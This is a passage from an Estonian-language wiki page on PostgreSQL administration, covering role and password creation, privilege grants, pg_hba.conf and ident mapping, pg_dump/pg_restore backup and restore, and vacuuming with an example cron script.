LOGIN rolli moodustamiseks sh parooli seadmiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; create role priit login password 'parool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
Andmebaasi administraator saab muuta kõigi kasutajate paroole ja kasutaja saab muuta ise enda parooli öeldes&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; alter role priit with password 'uusparool';&lt;br /&gt;
&lt;br /&gt;
Ilmutatud kujul parooli esitamisel on selline puudus, et see võib jääda kuhugi alles, nt logisse või .psql_history faili. Alternatiiviks on arvutada selliselt kokku ühendatud parool + kasutajanimi md5 summa&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select md5('uusparoolpriit');&lt;br /&gt;
 &amp;quot;fdd04c2f594e548b77c66781c8f5a85a&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ning seejärel, nb! hash algusse on lisatud 'md5'&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; alter role priit with encrypted password 'md5fdd04c2f594e548b77c66781c8f5a85a';&lt;br /&gt;
&lt;br /&gt;
===Rollide kasutamine===&lt;br /&gt;
&lt;br /&gt;
Käesoleva rollinime küsimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select user;&lt;br /&gt;
&lt;br /&gt;
Uue rolli omandamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; set role uusrollinimi;&lt;br /&gt;
&lt;br /&gt;
Vaikerollile lülitumiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; reset role;&lt;br /&gt;
&lt;br /&gt;
Käesolevat rolli saab küsida&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; show role;&lt;br /&gt;
&lt;br /&gt;
Kasutajale st login rollile grupi rolliga seotud privileegide lisamiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; grant grupiroll to loginroll;&lt;br /&gt;
&lt;br /&gt;
===Rollidele andmebaasiobjektide kasutamise lubamine andmebaasi sisemise acl abil===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi objektidel on privileegisüsteemi seisukohast kaks olulist omadust&lt;br /&gt;
&lt;br /&gt;
* objekti omanik (ingl. k. owner) - objekti moodustanud roll, kellel on objekti suhtes kõikvõimalikud õigused&lt;br /&gt;
* pääsunimekiri (ingl. k. access control list, ACL) - millised omanikud saavad kõnealuse objektida milliseid tegevusi sooritada&lt;br /&gt;
&lt;br /&gt;
====Tabel====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi administraator tekitanud kaks rolli priit ning mart ning moodustanud kummagi kasutaja jaoks andmebaasi nendenimelise skeemi. Sellises olukorras saavad mõlemad kasutajad oma skeemis toimetada kuid üksteise tabelitele sisule ligi ei pääse.&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; select * from priit.priidutabel;&lt;br /&gt;
 ERROR:  permission denied for schema priit&lt;br /&gt;
 LINE 1: select * from priit.priidutabel;&lt;br /&gt;
&lt;br /&gt;
Selleks, et kasutaja mart pääseks lugema kasutaja priit tabeli priit.priidutabel sisu peab priit kõnealusele tabelile andma kasutajale mart select pääsu&lt;br /&gt;
&lt;br /&gt;
 GRANT SELECT ON TABLE priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
Tabeli ligipääsude kohta saab küsida öeldes&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; \z priit.priidutabel &lt;br /&gt;
                                Access privileges&lt;br /&gt;
  Schema |    Name     | Type  |  Access privileges  | Column access privileges &lt;br /&gt;
 --------+-------------+-------+---------------------+--------------------------&lt;br /&gt;
  priit  | priidutabel | table | priit=arwdDxt/priit | &lt;br /&gt;
                               : mart=r/priit          &lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
kust on näha&lt;br /&gt;
&lt;br /&gt;
* priit=arwdDxt/priit - tabel kuulub kasutajale priit ning tal on omanikuna kõik privileegid&lt;br /&gt;
* mart=r/priit - tabel kuulub kasutajale priit ning kasutajal mart on sellele r privileeg (select); üldiselt kehtib&lt;br /&gt;
&lt;br /&gt;
 kasutaja_kellele_privileeg_antakse=privileeg/kõnealuse_objekti_omaniku_nimi&lt;br /&gt;
&lt;br /&gt;
Tabelilt ligipääsu eemaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 REVOKE select ON priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
Tabelile saab ligipääse anda ka tulba täpsusega, nt&lt;br /&gt;
&lt;br /&gt;
 GRANT SELECT(nimi) ON priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
kusjuures siis on võimalik küsida selectiga ainult vastava tulba andmeid.&lt;br /&gt;
&lt;br /&gt;
Kasutaja parooli muutmine&lt;br /&gt;
&lt;br /&gt;
 ALTER USER kasutajanimi WITH PASSWORD 'parool';&lt;br /&gt;
&lt;br /&gt;
Kõigi skeemi tabelitele rolli ligipääsu tekitamine, vastuseks saab hulga sql lauseid, mis tuleb seejärel käivitada, nt (\o /tmp/failinimi.sql salvestab vastuse failisüsteemi, et seda sealt \i /tmp/failinimi.sql abil seejärel kasutada)&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \o /tmp/failinimi.sql&lt;br /&gt;
 SQL&amp;gt; select 'GRANT SELECT, INSERT, UPDATE, DELETE ON ' || schemaname || '.' || tablename || ' TO rollinimi;' \&lt;br /&gt;
   from pg_tables where tableowner='omanikunimi' and schemaname != 'pg_catalog' and schemaname != 'information_schema';&lt;br /&gt;
&lt;br /&gt;
Kusjuures, selleks, et roll saaks skeemi kasutada peab olema skeemile antud nt USAGE privileeg&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; GRANT USAGE ON SCHEMA skeeminimi TO rollinimi;&lt;br /&gt;
&lt;br /&gt;
Tabelile ligipääs&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT 'GRANT SELECT ON skeeminimi.' || table_name || ' TO rakendus_ro;' FROM information_schema.tables WHERE table_schema = 'skeeminimi' \&lt;br /&gt;
   and table_type = 'BASE TABLE';&lt;br /&gt;
 --------------------------------------------------------&lt;br /&gt;
 GRANT SELECT ON skeeminimi.vahendaja TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.oigus_antud TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.dokumendi_fail TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.vastuvotja_staatus TO rakendus_ro;&lt;br /&gt;
 ..&lt;br /&gt;
&lt;br /&gt;
Sequentsidele ligipääs&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select 'grant usage, select, update on rakendus.' || sequence_name || ' to rakendus_rw' FROM information_schema.sequences \&lt;br /&gt;
   where sequence_schema = 'skeeminimi';&lt;br /&gt;
 &lt;br /&gt;
                                  ?column?                                &lt;br /&gt;
 ------------------------------------------------------------------------&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_transport_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_vastuvotja_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_ametikoht_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_ametikoht_taitmine_id to rakendus_rw;&lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
Ligipääsu eemaldamine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT 'REVOKE SELECT ON skeeminimi.' || table_name || ' FROM rakendus_rw;' FROM information_schema.tables WHERE table_schema = 'skeeminimi' \&lt;br /&gt;
   and table_type = 'BASE TABLE';&lt;br /&gt;
&lt;br /&gt;
====Funktsioon====&lt;br /&gt;
&lt;br /&gt;
 ALTER FUNCTION vklog.log_dokument(vk.dokument, vk.dokument, character varying) OWNER TO vk_admin;&lt;br /&gt;
&lt;br /&gt;
====Trigger funktsioon====&lt;br /&gt;
&lt;br /&gt;
 GRANT EXECUTE ON FUNCTION dkk.tr_allkiri_log() TO dkk_rw;&lt;br /&gt;
&lt;br /&gt;
===Rollidele andmebaasiobjektide kasutamise lubamine pg_hba.conf seadistusfaili abil===&lt;br /&gt;
&lt;br /&gt;
Seadistusfail /etc/postgresql/8.4/main/pg_hba.conf kontrollib ligipääsu sellise komplekti andmete alusel&lt;br /&gt;
&lt;br /&gt;
* ühenduse tüüp - üle tcp või unix soketi (st kas üle võrgu või unix soket abil)&lt;br /&gt;
* baasi nimi&lt;br /&gt;
* kasutaja nimi&lt;br /&gt;
* ip aadress (tcp ühenduse puhul)&lt;br /&gt;
* autentimise meetod - parooliga, kasutaja sertifikaadiga; unix soketi puhul ident&lt;br /&gt;
&lt;br /&gt;
====ident====&lt;br /&gt;
&lt;br /&gt;
Nn unixi postgre kasutaja saab ligi kõigile baasidele üle unixi soketi (/var/run/postgresql/.s.PGSQL.5432)&lt;br /&gt;
&lt;br /&gt;
 local   all         postgres                          ident&lt;br /&gt;
&lt;br /&gt;
ja kasutamiseks tuleb öelda nt&lt;br /&gt;
&lt;br /&gt;
 # su - postgres&lt;br /&gt;
 $ psql -U postgres&lt;br /&gt;
&lt;br /&gt;
====map====&lt;br /&gt;
&lt;br /&gt;
mappinguid juhitakse failiga pg_ident.conf http://www.postgresql.org/docs/8.4/static/auth-username-maps.html&lt;br /&gt;
&lt;br /&gt;
 # cat pg_ident.conf&lt;br /&gt;
 ..&lt;br /&gt;
 # MAPNAME     SYSTEM-USERNAME    PG-USERNAME&lt;br /&gt;
 mapping_yks   www-data        pg_kasutaja_1&lt;br /&gt;
 mapping_kaks   www-data       pg_kasutaja_2&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* MAPNAME - teisenduse nimi, mida pg_hba.conf failis kasutatakse&lt;br /&gt;
* SYSTEM-USERNAME - ident nimi (kohalikust arvutist tehtud pöördumiste puhul praktiliselt andmebaasi poole pöörduva protsessi UID)&lt;br /&gt;
* PG-USERNAME - andmebaasi kasutaja nimi, millena on vastaval SYSTEM-USERNAME'il lubatud andmebaasi kasutada&lt;br /&gt;
&lt;br /&gt;
ja (kusjuures nagu ikka, oluline on kus ridade järjekorra mõttes antud rida paikneb nt tema ees ei tohi olla 'local all all reject')&lt;br /&gt;
&lt;br /&gt;
 # pg_hba.conf&lt;br /&gt;
 local   all  all      ident map=mapping_yks&lt;br /&gt;
&lt;br /&gt;
siis töötab nt selline kasutus&lt;br /&gt;
&lt;br /&gt;
 # su - www-data&lt;br /&gt;
 $ psql -U pg_kasutaja_1 baasinimi&lt;br /&gt;
 ..&lt;br /&gt;
 baasinimi =&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===SQL arhiivifaili moodustamine===&lt;br /&gt;
&lt;br /&gt;
pg_dump programmi abil saab teha PostgreSQL andmebaasi (mitte kogu andmeklustrist, st kõigist andmebaasidest ühekorraga) andmetest erinevatel tasemetel koopiaid - andmebaasist, skeemist, tabelist, ja määrata seejuures täpsustusi, nt kas kopeeritakse ainult struktuur või struktuur koos andmetega. pg_dump kasutamise tulemusena moodustatakse arhiivifail.&lt;br /&gt;
&lt;br /&gt;
Programmi kasumisel saab valida kolme formaadi vahel, milles väljund tekitatakse&lt;br /&gt;
&lt;br /&gt;
* tekst (ingl. k. plain) - tekstikujul SQL skript, vaikeformaat&lt;br /&gt;
* kostümiseeritud arhiiv (ingl. k. custom) - binaarne ahriiv, vaikimisi pakitud, võimaldab kõige paindlikumalt pärast arhiivifailis olevaid andmeid kasutada&lt;br /&gt;
* tar - TODO&lt;br /&gt;
&lt;br /&gt;
pg_dump moodustab tänu MVCC tehnika kasutamisele andmetest kooskõlalise väljundi, nii nagu andmete seis oli pg_dump käivitamisel. Kuig pg_dump kasutamise ajal on nö tavapärane andmebaasi kasutamine võimalik, kasutab ta lukke selliselt, et nt samal ajal ei saab tabelite struktuuri muuta.&lt;br /&gt;
&lt;br /&gt;
====SQL skripti moodustamine====&lt;br /&gt;
&lt;br /&gt;
SQL skripti kujul esineva arhiivifaili moodustamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
  $ export PGPASSWORD=parool&lt;br /&gt;
  $ pg_dump -U postgres -h localhost baasinimi -f baasinimi-20090802.sql &lt;br /&gt;
    1&amp;gt; baasinimi-20090802-1.log 2&amp;gt; baasinimi-20090802-2.log&lt;br /&gt;
&lt;br /&gt;
Skripti tekitamisel saab määrata nt, kas skripti lisatakse käsud andmebaasi, skeemi või tabeli moodustamise kohta või mitte.&lt;br /&gt;
&lt;br /&gt;
====Kostümiseeritud arhiivifaili moodustamine====&lt;br /&gt;
&lt;br /&gt;
Nt andbaasi portaal skeemi data tabelist documents kostümiseeritud arhiivi moodustamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  $ export PGPASSWORD=parool&lt;br /&gt;
  $ pg_dump -Fc -h localhost -U postgres -t data.documents -f portaal.data.documents.fcdump portaal&lt;br /&gt;
&lt;br /&gt;
===SQL arhiivifaili kasutamine===&lt;br /&gt;
&lt;br /&gt;
Andmete taastamiseks on kaks programmi&lt;br /&gt;
&lt;br /&gt;
* psql - SQL skript antakse programmi sisendisse, psql täidab järjekorras seal esitatud laused kuni esimese veani või skripti lõpuni&lt;br /&gt;
* pg_restore - programmi argumendina näidatakse kostümiseeritud SQL arhiivifail, väljundisse kirjutatakse lausete täitmisel esinevad vead, kuid töötatakse kuni arhiivifaili lõpuni&lt;br /&gt;
&lt;br /&gt;
pg_restore võimaldab&lt;br /&gt;
&lt;br /&gt;
* taastada arhiivist andmeid objekti, nt tableli täpsusega&lt;br /&gt;
* valida, millised järjekorras andmed arhiivist taastatakse&lt;br /&gt;
&lt;br /&gt;
Kui andmebaasis on kasutatud contrib mooduleid, mille esmakordsel paigaldamisel tuli tõenäoliselt käivitavad vastav mooduli paigaldusskript (mis tekitas baasi funktsioone jms), siis taastel ei ole reeglina seda vaja kasutada, sest vastavad funktsioonid on baasis olemas ja taaste käigus nad tekitatakse.&lt;br /&gt;
&lt;br /&gt;
====SQL skripti kasutamine====&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks tuleb psql utiliidiga laadida skript andmebaasi, nt&lt;br /&gt;
&lt;br /&gt;
 $ psql -U postgres -h localhost baasinimi &amp;lt; baasinimi-20090802.sql&lt;br /&gt;
&lt;br /&gt;
Tekstikujul esituse puuduseks on suhteliselt mahtukas tulemus ja aeganõudev protseduuri kestus. Eeliseks võib pidada asjaolu, et andmed on inimesele hõlpsasti loetaval ja muudetaval kujul.&lt;br /&gt;
&lt;br /&gt;
Kui esitada alltoodud käsk kujul, toimub skripti täitmine ühe transaktsioonina, mis praktiliselt tähendab seda, et kui skripti täitmine tehnilises mõttes ebaõnnestub, töötab andmebaas edasi muudatusele eelnenud kujul&lt;br /&gt;
&lt;br /&gt;
 $ psql -1 -U postgres -h localhost -f baasinimi-20090802.sql baasinimi&lt;br /&gt;
&lt;br /&gt;
====Kostümiseeritud arhiivifaili kasutamine====&lt;br /&gt;
&lt;br /&gt;
Andmete kopeerimiseks kostümiseeritud arhiivifailist otse andmebaasi sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
  $ pg_restore -d portaal -h localhost -U postgres portaal.data.documents.fcdump&lt;br /&gt;
&lt;br /&gt;
Arhiivifailis sisalduvate objektide nimekirja esitamiseks tuleb kasutada -l võtit&lt;br /&gt;
&lt;br /&gt;
  $ pg_restore -l /data/backup/dumps/portaal.data.dokuments.fcdump&lt;br /&gt;
  ;&lt;br /&gt;
  ; Archive created at Thu Sep 10 14:54:27 2009&lt;br /&gt;
  ;     dbname: portaal&lt;br /&gt;
  ;     TOC Entries: 11&lt;br /&gt;
  ;     Compression: -1&lt;br /&gt;
  ;     Dump Version: 1.10-0&lt;br /&gt;
  ;     Format: CUSTOM&lt;br /&gt;
  ;     Integer: 4 bytes&lt;br /&gt;
  ;     Offset: 8 bytes&lt;br /&gt;
  ;     Dumped from database version: 8.3.5&lt;br /&gt;
  ;     Dumped by pg_dump version: 8.3.5&lt;br /&gt;
  ;&lt;br /&gt;
  ;&lt;br /&gt;
  ; Selected TOC Entries:&lt;br /&gt;
  ;&lt;br /&gt;
  8462; 1259 40169 TABLE data documents sysadm&lt;br /&gt;
  9384; 0 0 ACL data documents sysadm&lt;br /&gt;
  8463; 1259 40175 SEQUENCE data documents_doc_id_seq sysadm&lt;br /&gt;
  9385; 0 0 SEQUENCE OWNED BY data documents_doc_id_seq sysadm&lt;br /&gt;
  9386; 0 0 SEQUENCE SET data documents_doc_id_seq sysadm&lt;br /&gt;
  9378; 2604 42053 DEFAULT data doc_id sysadm&lt;br /&gt;
  9381; 0 40169 TABLE DATA data documents sysadm&lt;br /&gt;
  9379; 1259 48086585 INDEX data documents_doc_id sysadm&lt;br /&gt;
  9380; 2620 48087091 TRIGGER data timestamp sysadm&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TOC (Table of Contents) - sisukord&lt;br /&gt;
* rea alguses on objekti id väärtus&lt;br /&gt;
* kõik semikoolonist paremale jääv on kommentaar&lt;br /&gt;
&lt;br /&gt;
Nõuanded pg_restore kasutamiseks&lt;br /&gt;
&lt;br /&gt;
* Arhiivifaili sisu teisendamiseks SQL skripti kujule tuleb jätta ära -d võti&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore arhiivifail-20100506.fcdump &amp;gt; arhiivifail-20100506.sql&lt;br /&gt;
&lt;br /&gt;
* Arhiivifaili ühte tabeli kirjelduse esitamiseks tuleb näidata skeemi ning tabeli nimi ja võti -s&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -s -n priiduskeem -t inimene arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Arhiivifailist ühe tabeli taastamiseks otse andmebaasi&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -d baasinimi -n priiduskeem -t inimene arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Arhiivifailist nimekirja alusel objektide taastamiseks tuleb esmalt -l väljundi alusel moodustada sobiva sisuga tekstifail ja seda redigeerida ning siis seda kasutada, seejuures võib ka objektide järjekorda muuta&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -l arhiivifail-20100506.fcdump &amp;gt; arhiivifail-20100506.fcdump.list&lt;br /&gt;
 $ pg_restore -d baasinimi -h localhost -U postgres -L arhiivifail-20100506.fcdump.list arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Mitme protsessoriga arvutil saab -j võtme abil näidata milliselt määral kasutatakse paralleelset tööd andmete sisselugemisel, nt&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -j 16 -d baasinimi arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
====Globals====&lt;br /&gt;
&lt;br /&gt;
Globalsiks nimetatakse neid andmebaasi andmeid, mis ei sisaldu otseselt üheski baasis, vaid kuuluvad andmebaasi kui terviku juurde, nt rollid. Nende salvestamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ pg_dumpall -g -h localhost -U postgres &amp;gt; globals.sql&lt;br /&gt;
&lt;br /&gt;
Moodustatud skripti sobib kasutada nagu nö tavalist sql skripti. Ainult rollide andmete kopeerimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ pg_dumpall -r -h localhost -U postgres &amp;gt; roles.sql&lt;br /&gt;
&lt;br /&gt;
===SQL dump/restore kasutamine arvestades objektide omanikke===&lt;br /&gt;
&lt;br /&gt;
Lähtepunkt&lt;br /&gt;
&lt;br /&gt;
* töötab üks PostgreSQL protsesside komplekt&lt;br /&gt;
* on olemas üks andmebaasi tarkvara sisene kasutaja&lt;br /&gt;
* on olemas create database andmebaas (kõik objektid kuuluvad mainitud kasutajale)&lt;br /&gt;
&lt;br /&gt;
Sihtpunkt&lt;br /&gt;
&lt;br /&gt;
* töötab üks PostgreSQL protsesside komplekt&lt;br /&gt;
* lähtepunktiks olnud kasutaja ja baas säilivad algsel kujul&lt;br /&gt;
* on tekitatud juurde teine andmebaasi tarkvara sisene kasutaja&lt;br /&gt;
* on tekitatud juurde teine create database andmebaas; kõik objektid on seal teise kasutaja omanduses&lt;br /&gt;
* teise andmebaasi sisuks on esimese andmebaasi sisu&lt;br /&gt;
* mõlemad create database andmebaasid on tavalised, üksteisest sõltumatud andmebaasid&lt;br /&gt;
&lt;br /&gt;
Nt leiab selline ülesanne kasutust töötavast lahendusest teha koopia kõrvale mingite testimiste jaoks.&lt;br /&gt;
&lt;br /&gt;
====pg_dump -O ja psql====&lt;br /&gt;
&lt;br /&gt;
Protseduuri eeliseks on, et andmete sisselaadimine uude andmebaasi tõimub privilegeerimata kasutajana. pg_dump kasutamisel sql skript moodustamisel tuleb omanike käsud dump failist välja jätta kohe alguses&lt;br /&gt;
&lt;br /&gt;
 pg_dump -O ...&lt;br /&gt;
&lt;br /&gt;
sisselaadimiseks&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
====pg_dump -Fc ja pg_restore====&lt;br /&gt;
&lt;br /&gt;
Protseduuri eeliseks on, et andmete sisselaadimine uude andmebaasi tõimub privilegeerimata kasutajana. Moodustada -Fc dump&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_dump -Fc -f baasinimi-20180922-94.dump baasinimi&lt;br /&gt;
&lt;br /&gt;
uue kasutaja moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create role kasutajanimi login password 'fakeparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
uue baasi moodustamine (template = template0 LC_COLLATE = 'C.UTF-8' LC_CTYPE = 'C.UTF-8' on näiteks)&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database baasinimi owner = kasutajanimi template = template0 LC_COLLATE = 'C.UTF-8' LC_CTYPE = 'C.UTF-8';&lt;br /&gt;
&lt;br /&gt;
Sisselaadimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ /usr/lib/postgresql/9.4/bin/pg_restore -d baasinimi -O -h 127.0.0.1 -U kasutajanimi baasinimi-20180922-94.dump&lt;br /&gt;
Password:&lt;br /&gt;
pg_restore: [archiver (db)] Error while PROCESSING TOC:&lt;br /&gt;
pg_restore: [archiver (db)] Error from TOC entry 8746; 0 0 COMMENT EXTENSION plpgsql&lt;br /&gt;
pg_restore: [archiver (db)] could not execute query: ERROR:  must be owner of extension plpgsql&lt;br /&gt;
    Command was: COMMENT ON EXTENSION plpgsql IS 'PL/pgSQL procedural language';&lt;br /&gt;
 &lt;br /&gt;
pg_restore: WARNING:  no privileges could be revoked for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges could be revoked for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges were granted for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges were granted for &amp;quot;public&amp;quot;&lt;br /&gt;
WARNING: errors ignored on restore: 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -O kasutada ilma owner käskudeta&lt;br /&gt;
* - tõneäoliselt saab mõned praktiliselt ebaolulised vead/hoiatused&lt;br /&gt;
&lt;br /&gt;
====reassing====&lt;br /&gt;
&lt;br /&gt;
Protseduuri puhul toimub andmete sisselaadimine uude andmebaasi privilegeerimata kasutajana. Moodustada -Fc dump&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_dump -Fc -f baasinimi-20180922-94.dump baasinimi&lt;br /&gt;
&lt;br /&gt;
uue kasutaja moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create role uuskasutajanimi login password 'fakeparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
uue baasi moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database baasinimi owner = uuskasutajanimi;&lt;br /&gt;
&lt;br /&gt;
andmete sisselaadimine baasi ülikasutajana (postgres)&lt;br /&gt;
&lt;br /&gt;
 postgres$ /usr/lib/postgresql/9.4/bin/pg_restore -d baasinimi baasinimi-20180922-94.dump&lt;br /&gt;
&lt;br /&gt;
Tundun, et see reassing mõjub ühe create database andmebaasi piires; selles, millega on parasjagu ühendus&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; reassign owned by vanakasutajanimi to uuskautajanimi;&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi vakuumimine===&lt;br /&gt;
&lt;br /&gt;
Töötavat PostgreSQL andmebaasi tuleb regulaarselt vakuumida (ingl. k. vacuum) nt sellistel põhjustel&lt;br /&gt;
&lt;br /&gt;
* päringud muutuvad kiiremaks kuna planner saab kasutada otsuste tegemisel tegelikkusele enam vastavat infot&lt;br /&gt;
* andmebaasi andmekluster võtab failisüsteemis vähem ruumi&lt;br /&gt;
&lt;br /&gt;
Vakuumimiseks on kaks võimalust&lt;br /&gt;
&lt;br /&gt;
* käsitsi vakuumimine - nt crontab abiga käivitatakse vakuumimist sooritav sql lause&lt;br /&gt;
* autovacuum - andmebaas nö sisemiste vahendite abil otsustab kunas ja mida vakuumida&lt;br /&gt;
&lt;br /&gt;
====Käsitsi vakuumimine====&lt;br /&gt;
&lt;br /&gt;
Käsitsi vakuumimine käib põhimõtteliselt öeldes tabeli või baasi kohta (mis tähendab, et tegeldakse baasi kõigi tabelitega)&lt;br /&gt;
&lt;br /&gt;
 $ psql -h localhost portaal -U postgres -c &amp;quot;vacuum verbose analyze&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nt võiks kutsuda crontabist välja sellist skripti kord ööpäevas&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 renice 19 -p $$ 1&amp;gt;/dev/null&lt;br /&gt;
 export PGPASSWORD=parool&lt;br /&gt;
 nyyd=`date +%Y%m%d`&lt;br /&gt;
 export HOSTNAME=10.100.6.88&lt;br /&gt;
 export PGPORT=5432&lt;br /&gt;
 export PGUSER=postgres&lt;br /&gt;
 &lt;br /&gt;
 mkdir /srv/backup/postgresql/vacuum-logs/$nyyd&lt;br /&gt;
 &lt;br /&gt;
 psql_baasid=`/usr/local/postgresql/bin/psql -h $HOSTNAME -p$PGPORT template1 -U $PGUSER -c &amp;quot;\l&amp;quot; \&lt;br /&gt;
 | sed -e '1,3d' | sed -e '$d' | sed -e '$d' | awk {'print $1'}`&lt;br /&gt;
 &lt;br /&gt;
 for i in $psql_baasid&lt;br /&gt;
   do&lt;br /&gt;
     if test &amp;quot;$i&amp;quot; != &amp;quot;template0&amp;quot; &amp;amp;&amp;amp; test &amp;quot;$i&amp;quot; != &amp;quot;template1&amp;quot; &amp;amp;&amp;amp; test &amp;quot;$i&amp;quot; != &amp;quot;postgres&amp;quot;; then&lt;br /&gt;
       /usr/local/postgresql/bin/psql -h $HOSTNAME -p$PGPORT $i -U $PGUSER -c &amp;quot;vacuum verbose analyze&amp;quot; \&lt;br /&gt;
         1&amp;gt;/data/backup/postgresql/vacuum-logs/$nyyd/$HOSTNAME-$nyyd-pg_$i-vacuum-analyze-5432.txt 2&amp;gt;&amp;amp;1;&lt;br /&gt;
         echo &amp;quot;exit code: $?&amp;quot; &amp;gt;&amp;gt; /data/backup/postgresql/vacuum-logs/$nyyd/$HOSTNAME-$nyyd-pg_$i-vacuum-analyze-5432.txt&lt;br /&gt;
     fi&lt;br /&gt;
   done&lt;br /&gt;
&lt;br /&gt;
seejuures tuleb tähele panna, et&lt;br /&gt;
&lt;br /&gt;
* ps auxe esitab vakumeerimise ajal protsesside keskkonnamuutujate väärtused ning kui süsteemis saavad anda käske asjassepuutumatud kasutajad, siis on neil võimalik saada teada see parool&lt;br /&gt;
&lt;br /&gt;
Vakuumimisega seotud ressurssikasutust saab kontrollida /srv/postgresql/postgresql.conf seadistusfaili parameetritega, http://www.postgresql.org/docs/8.3/static/runtime-config-resource.html#RUNTIME-CONFIG-RESOURCE-VACUUM-COST&lt;br /&gt;
&lt;br /&gt;
  # - Cost-Based Vacuum Delay -&lt;br /&gt;
  &lt;br /&gt;
  vacuum_cost_delay = 10                  # 0-1000 milliseconds&lt;br /&gt;
  #vacuum_cost_page_hit = 1               # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_page_miss = 10             # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_page_dirty = 20            # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_limit = 200                # 1-10000 credits&lt;br /&gt;
&lt;br /&gt;
kus &lt;br /&gt;
&lt;br /&gt;
* vacuum_cost_delay = 10 - vähendab plokkseadme I/O kasutust&lt;br /&gt;
&lt;br /&gt;
Vahel võib vakuumi logist leida huvitavaid teateid, nt selline, siis tuleks postgresql.conf failis max_fsm_pages parameetri väärtust varuga vastavalt suurendada&lt;br /&gt;
&lt;br /&gt;
  NOTICE:  number of page slots needed (1875152) exceeds max_fsm_pages (1400000)&lt;br /&gt;
  HINT:  Consider increasing the configuration parameter &amp;quot;max_fsm_pages&amp;quot; to a value over 1875152.&lt;br /&gt;
&lt;br /&gt;
Kui nö tavaline vacuum ei saavuta soovitud tulemus, sobib proovida vacuum full&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; \c andmebaas&lt;br /&gt;
 sql&amp;gt; vacuum full;&lt;br /&gt;
&lt;br /&gt;
seejuures tuleb arvestada, et&lt;br /&gt;
&lt;br /&gt;
